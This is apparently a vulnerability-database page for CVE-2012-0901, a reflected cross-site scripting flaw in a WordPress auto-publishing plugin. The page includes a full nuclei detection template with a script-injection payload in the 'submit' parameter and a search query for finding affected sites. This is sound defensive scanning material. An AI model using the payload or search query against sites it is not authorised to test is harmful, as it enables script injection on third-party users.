HexBrain

Browse / CVEs / CVE-2012-0901

CVE-2012-0901· attenzione / yousaytoo· CWE-79

YouSayToo auto-publishing 1.0 - Cross-Site Scripting

mediumseverity
4.3CVSS score
6.9%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in yousaytoo.php in YouSayToo auto-publishing plugin 1.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/wp-content/plugins/yousaytoo-auto-publishing-plugin/"
Send: GET {{BaseURL}}/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscrip…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2012-0901 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2012-0901

info:
  name: YouSayToo auto-publishing 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in yousaytoo.php in YouSayToo auto-publishing plugin 1.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0901
    - http://packetstormsecurity.org/files/view/108470/wpystap-xss.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72271
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-0901
    cwe-id: CWE-79
    epss-score: 0.0685
    epss-percentile: 0.9409
    cpe: cpe:2.3:a:attenzione:yousaytoo:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: attenzione
    product: yousaytoo
    google-query: "inurl:\"/wp-content/plugins/yousaytoo-auto-publishing-plugin\""
  tags: cve,cve2012,wp-plugin,packetstorm,wordpress,xss,attenzione,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}'

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/yousaytoo-auto-publishing-plugin/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from